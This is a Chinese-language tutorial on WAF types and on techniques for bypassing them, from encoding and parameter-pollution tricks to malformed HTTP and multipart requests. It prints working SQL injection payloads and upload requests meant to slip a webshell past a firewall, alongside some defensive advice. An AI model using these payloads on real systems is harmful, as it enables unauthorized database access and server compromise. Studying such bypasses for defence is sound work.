WAF绕过
WAF(Web应用防火墙,Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为 Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应 用本身存在缺陷的情况下保障其安全。但是,WAF不是万能的、完美的、无懈可击的,在种种原因下,它们也会有 各自的缺陷,作为用户不可以盲目相信WAF而不注重自身的安全。
一、waf分类
- 云waf
- 硬件waf
- 软件waf
- 网站内置waf
二、云waf详细介绍
云 WAF 基于云端的检测,安装简单,修改 DNS 解析或在服务器安装云 WAF 的模块即可
2.1 云waf优点
1.部署简单,维护成本低
这也是云Waf最有价值和受用户喜爱的一点,无需安装任何软件或者部署任何硬件设备,只需修改DNS即可将网站部署到云Waf的防护范围之内
2.用户无需更新
云Waf的防护规则都处于云端,新漏洞爆发时,由云端负责规则的更新和维护,用户无需担心因为疏忽导致受到新型的漏洞攻击
3.可充当CDN
云Waf在提供防护功能的同时,还同时具有CDN的功能,在进行防护的同时还可以提高网站访问的速率,CDN通过跨运营商的多线智能解析调度将静态资源动态负载到全国的云节点,用户访问某个资源时会被引导至最近的云端节点从而提高访问速度
2.2 云waf缺点
1.存在轻易被绕过的风险
云Waf的主要实现原理是通过将用户的DNS解析到云节点实现防护,这样一来,如果黑客通过相关手段获取了服务器的真实IP地址,然后强制解析域名,就可以轻松绕过云Waf对服务器发起攻击
2.可靠性低
云Waf处理一次请求,其中需要经过DNS解析、请求调度、流量过滤等环节,其中涉及协同关联工作,其中只要有一个环节出现问题,就会导致网站无法访问。必要时,只能手动切换为原DNS来保证业务正常运行,而域名解析需要一定时间,则会导致网站短时间无法正常访问
3.保密性低
网站访问数据对于一些企业、机构来说为保密数据,里面可能包含用户的隐私或者商业信息,这些数据自行管控会相对安全,但是如果使用Waf,所有的数据会记录到云端,这相当于数据被别人保管,可能存在一定的泄露风险
分析利弊后,我们发现云Waf目前只适用于安全需求较低的中小型企业或者个人网站,对于安全需求较高的网站,如政府、金融、运营商等,云Waf无法满足相关要求,所以广大网站管理者,需要根据自身实际情况来选择合适的安全产品和服务
三、 硬件waf详细介绍
硬件 WAF 串联在内网的交换机上,防护范围大。软件 WAF 安装在服务器上,根据网站流量决定占用的内存量。
3.1 硬件waf优点
1.配置简单
硬件waf只须要串联到交换机上,进行简单的配置就能够了
2.吞吐量较高
可承受较高的吞吐量,因为硬件防火墙基于硬件设备实现,通常状况下可承受较高的数据吞吐量
3.防御范围大
因为硬件防火墙直接串联到了交换机,因此在同一个交换机下的全部服务器,都处于防火墙的防御范围以内
3.2 硬件waf缺点
1.价格比较昂贵
如今的安全行业中的硬件waf,价格对于中小企业来讲仍是过于昂贵的
2.存在必定误杀
存在必定误杀,因为硬件waf是经过攻击规则库对异常流量进行识别,因此在业务系统复杂的状况下,可能存在必定误杀,会致使正常的功能被防火墙拦截致使影响正常业务
3.存在必定绕过概率
存在必定绕过概率,硬件防火墙对HTTP协议进行自行解析,可能存在与web服务器对HTTP请求的理解不一致,从而被绕过的状况
四、 软件waf详细介绍
软件 WAF 采用纯软件的方式实现,特点是安装简单,容易使用,成本低。但它的缺点也是显而易见的,因为它必须安装在 Web 应用服务器上,除了性能受到限制外,还可能会存在兼容性、安全等问题
4.1 软件waf优点
1.开箱即用,廉价甚至免费
目前国内的软件Waf,如安全狗、网站安全卫士等皆有免费版,下载安装后简单配置即可使用
2.管理方便,界面友好
目前行业中的软件Waf提供友好的查看、管理界面,使得即使是非技术人员也能通过软件管理服务器的安安全状态
3.功能丰富
使用软件实现的Waf除了实现对Web应用的防护功能之外,还存在其他丰富的安全功能,如扫描恶意木马文件、防篡改、服务器优化、备份等等功能,这些功能对于不了解网站技术的人来说提供了便捷
4.2 软件waf缺点
1.误杀&漏报特性
软件Waf对HTTP协议实现了自解析,无法和容器背后的Web应用保持对协议的理解一致,在误杀和漏报之间不能很好的平衡,解析太过细化又存在Waf可轻易被欺骗导致绕过的特点,防御太过严谨又可能会导致影响正常业务运行
2.占用内存过多
由于软件Waf要实现对每个请求的解析、识别,可能会存在占用服务器内存过多的情况
3.只适合中小型网站
由于软件Waf需要单台服务器部署,并且可能存在影响正常业务的风险和被绕过的风险,不适合大型的网络的安全防护使用
五、主流WAF的绕过技术
攻击者可以利用哪些方面来绕过WAF?
1.web容器的特性
2.web应用层的问题
3.WAF自身的问题
4.数据库的一些特性
5.1 Web容器的特性
5.1.1 IIS+ASP的神奇%
在IIS+ASP的环境中,对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本 处理时会将其忽略。
在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 % 的分隔,无 法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。 这个特性仅在iis+asp上 asp.net并不存在。
5.1.2 IIS的Unicode编码字符
IIS支持Unicode编码字符的解析,但是某些WAF却不一定具备这种能力。
(已知 ‘s’ 的unicode编码为: %u0053 , ‘f’ 的unicode编码为 %u0066 )
http://www.test.com/1.asp?id=1 union all %u0053elect 1,2,3,4 %u0066rom admin
在WAF层,获取到的id参数值为 1 union all %u0053elect 1,2,3,4 %u0066rom admin
但是IIS后端检测到了Unicode编码会将其自动解码,脚本引擎和数据库引擎最终获取到的参数会是: 1 union all select 1,2,3,4 from admin
此方法还存在另外一种情况,多个不同的widechar可能会被转换为同一个字符。例如: (http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html WideChar和MultiByte字符转换问题)
s%u0065lect->select
s%u00f0lect->select
这种情况需要根据不同的waf进行相应的测试,并不是百发百中。但是对于绕过来说,往往只要一个字符成功绕过 即可达到目的。
5.1.3 HTTP参数污染
在HTTP协议中是允许同样名称的参数出现多次的。例如:http://www.test.com/1.asp?id=123&id=456
根据WAF的不同,一般会同时分开检查 id=123 和 id=456 ,也有的仅可能取其中一个进行检测。但是对于 IIS+ASP/ASP.NET来说,它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。
所以对于这类过滤规则,攻击者可以通过:
id=union+select+password/&id=/from+admin
来逃避对 select * from 的检测。因为HPP特性,id的参数值最终会变为
id=union+select+password/*&id*=/from+admin
id=union+select+password/*,*from+admin
id=union select password from admin
5.1.4 畸形HTTP请求
当向web服务器发送畸形的,非RFC2616标准的HTTP请求时,web服务器处于兼容的目的,会尽可能解析畸形HTTP请求。而如果web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况,下面来看这个post请求:
POST /id.php?id=1%20nuion/**/select HTTP/1.1
Host: www.tainiubila.com
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
....
如果将请求改为
XXXX /id.php?id=1%20nuion/**/select HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
....
这个请求包就变为了Method不合法,没有协议字段HTTP/1.1,也没有Host字段。如果在HTTP/1.1协议中,缺少HOST字段就会返回400 bad request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9, Host则默认使用Apache默认的servername,这种畸形请求依然能够被处理
如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。
5.2 web应用层的问题
5.2.1 多重编码问题
http://www.project.com/1.html?id=123%2520and%25201=1
一重url解码: %25 -> %
id=123%20and%201=1
二重url解码: %20 -> 空格
id=123 and 1=1
如果web应用程序能够接受多重编码的数据,而WAF只能解码一层(或少于WEB应用程序能接收的层数)时,WAF会因为解码不完全导致防御机制被绕过
5.2.2 多数据来源的问题
如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松,没有依照RFC的标准来,开发人员在编写代码 时如果使用如下方式接收用户传入的参数
ID = Request("ID"); asp
ID = Request.Params("ID") asp.net
WEB程序可以从以下3种途径获取到参数ID的参数值
1.从GET请求中获取ID的参数值
2.如果GET请求中没有ID参数,尝试从POST的ID参数中获取参数值
3.如果GET和POST中都获取不到ID的参数值,那么从Cookies中的ID参数获取参数值
这样对于某些WAF来说,如果仅仅检查了GET或POST的,那么来自Cookie的注入攻击也就无能为力了,更何况来自于这三种方式组合而来的参数污染绕过方法呢?
请求内容为:
POST /test.aspx?id=123 HTTP/1.1
Host: 192.168.118.128:8080
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Cookie:id=789
id=456
返回值:
HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Sat, 22 Sep 2018 07:51:23 GMT
Content-Length: 11
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: yunsuo_session_verify=44fb70a14c10485884a32dfec98a4982; expires=Tue, 25-
Sep-18 15:51:23 GMT; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
123,456,789
可以看到id参数值的取值顺序
5.3 WAF自身的问题
5.3.1 白名单机制
WAF存在某些机制,不处理和拦截白名单中的请求数据
1.指定IP或IP段的数据
2.来自于搜索引擎爬虫的访问数据
3.其他特征的数据
如以前某些WAF为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。伪造HTTP请求的User-Agent非常容易,只需将HTTP请求包中的User-Agent修改为谷歌搜索引擎的User-Agent即可畅通无阻
5.3.2 数据获取方式存在缺陷
1、某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测,当GET请求的攻击数据包无法绕过时,转换成POST就可能绕过去了,或者POST以Content-Type:application/x-www-form-urlencoded无法绕过时,转换成上传包格式的Content-Type:multipart/form-data就能绕过去
POST
Content-Type:application/x-www-form-urlencoded //无法通过
Content-Type:Content-Type:multipart/form-data //通过
2、某些WAF从数据包中提取检测特征的方式存在缺陷,如正则表达式不完善,某些攻击数据因为某些干扰字符的存在无法被提取,常见的如%0a、%0b、%0d、%09、%0a等
在以前,针对某些waf,直接使用以上字符就可以直接让,现在则不大可能了
实战案例
POST /FileUpload.asp?username=0 HTTP/1.1
Host:192.168.1.1
Content-Length: 648
User-Agent: Mozilla/5.0....
Content-Type:.....
Accept:....
Cookie:......
Connection:close
------WebKitFormBoundaryGIq1WFQ92n11
Content-Dispositon: from-data;name="FileName";
【filename="
sexy.asp"】
Content-Type: image/jpeg
【木马代码】
------WebKitFormBoundaryGIq1WFQ92n11
Content-Dipositon: form-data;name="Submit"
如上代码所示,对于IIS,这样写是没问题的
Content-Disposition: form-data; name="FileName";
filename="
sexy.asp"
但是WAF的设计者可能并不知道,这个是可以这样写的。
其他容器有的也可以,有点微小差异。
当用正则表达式去获取上传的文件名时,正则表达式就匹配不到了。所以上传就被绕过了。
在应用程序代码层面,开发者可以检查 Content-Disposition: form-data; name= 头部,如果发现不符合格式规 范,在代码层面禁止上传
5.3.3 数据处理恰当
1. %00截断
将%00进行URL解码,既是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当,那么%00解码后会将后面的数据截断,造成后面的数据没有经过检测
http://ww.project.com/1.html?id=1/*%00*/union+select+1,2,3
url解码:%00 --> NULL
http://ww.project.com/1.html?id=1/*%00*
id=1/*
WAF在获取到参数的ID的值并解码后,参数值将被截断为1/*,后面的攻击语句将没有被WAF拿去进行检测
2.&字符处理
某些WAF在对HTTP请求数据包中的参数进行检测时,使用&字符对多个参数进行分割,然后分别进行检测
http://ww.project.com/1.html?part=1&part=2&part3=3
转义:%26 --> &
这些WAF会使用&符号分割 par1 、 par2 和 par3 ,然后对其参数值进行检测。但是,如果遇到这种构造:
http://ww.project.com/1.html?p1=1+union+/*%26p2=1*/+select/*%26p3=1*/1,2,3,4,5+from+admin
WAF会将以上参数分割成如下3部分:
p1:1+union+/*
p2:1*/+select/*
p3:1*/1,2,3,4,5+from+admin
如果将这3个参数分别进行检测,某些WAF是匹配不到攻击特征的。
这里的 %26 是 & 字符
/*%26*/->/*&*/ 其实只是一个SQL的注释而已
5.3.4 数据清洗不恰当
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗,筛选出真实的攻击数据进行检测,以提高检查性能,节省资源
如果WAF对数据的清洗不恰当,会导致真实的攻击数据被清洗,剩余的数据无法被检测出攻击行为。
实战案例
http://localhost/test/Article.php?id=9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
某些WAF会将 9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user 清洗为: 9999-"" from mysql.user 然后去检测是否有攻击特征
如果没有执行原始语句:
9999-"/*" union all select 1,2,3,4,5 as "*/" from mysql.user
其实,对于 /* 来说,它只是一个字符串
对于 */ 来说,它也是一个字符串,在这里还充当一个别名
但是对于WAF来说,它会认为这是多行注释符,把中间的内容清洗掉去进行检测,当然检测不到什么东西。
5.3.5 规则通用性的问题
通用型的WAF,一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。每一种WEB容器、数据库以及编程语言,它们都有自己的特性,想使用通用的WAF规则去匹配和拦截,是非常难的
实战案例
比如对SQL注入数据进行清洗时,WAF一般不能知道后端数据是Mysql还是sqlserver,
相同的代码/*!50001Select*/
mysql理解这是一个select的命令,
sqlserver理解这只不过是一个注释而已,注释的内容为!50001Select
这样处理后,SQL的语法都彻底乱了,自然而然就被Bypass了!
大家可以发现,很多WAF对错误的SQL语句是不拦截的。
尤其是对于通用性WAF,这一点相当难做,很难去处理不同的数据库的特性之间的问题
如果数据库为sqlserver,某些WAF在处理如下语句时:
9999' and 1=(select top 1 name as # from master..sysdatabases)-- 会被当作为:
9999' and 1=(select top 1 name as 注释
其实,这里的 # 只是一个字符,充当一个别名的角色而已。
如果后端数据库是SQL Server,这样的语句是没问题的。
但是通用型WAF怎么能知道后端是SQL Server呢?
5.3.6 为了性能和业务妥协
更全面兼容各类Web Server及各类数据库的WAF是非常难得的,为了普适性,需要放宽一些检查条件,暴力的过滤方式会影响业务。
对于通用性较强的软WAF来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳不过检测。
以上就是WAF自身的一些问题,接下来我们会针对这些问题进行讲解,看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性,不同的数据库有一些属于自己的特性,WAF如果不能处理好这些特性,就会出很大的问 题。
总结一下,WAF自身的问题有:
- 白名单机制
- 数据获取方式存在缺陷
- 数据处理不恰当
- 数据清洗不恰当
- 规则通用性问题
- 为性能和业务妥协
实战案例
要全面兼容各类Web Server及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤 方式会影响业务。
对于通用性较强的软WAF来说,不得不考虑到各种机器和系统的性能,故对于一些超大数据包、超长数据可能会跳 过不检测。
POST /FileUpload.asp?username=0 HTTP/1.1
Host:192.168.1.1
Content-Length: 648
User-Agent: Mozilla/5.0....
Content-Type:.....
Accept:....
Cookie:......
Connection:close
------WebKitFormBoundaryGIq1WFQ92n11
【这里插入6万个字符】如(qweqweqweqwe)
Content-Dispositon: from-data;name="FileName";filename="sexy.asp"
Content-Type: image/jpeg
【木马代码】
------WebKitFormBoundaryGIq1WFQ92n11
Content-Dipositon: form-data;name="Submit"
如上代码,在上传数据包部分,强行添加5万个字符,有些WAF会直接不检测放行,或者,检测其中的一部分。
比如,检测最前面5w个字符有没有攻击特征,如果没有,放行。
针对这种,不能光靠WAF,我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。 所以,我们不能过度依赖于WAF。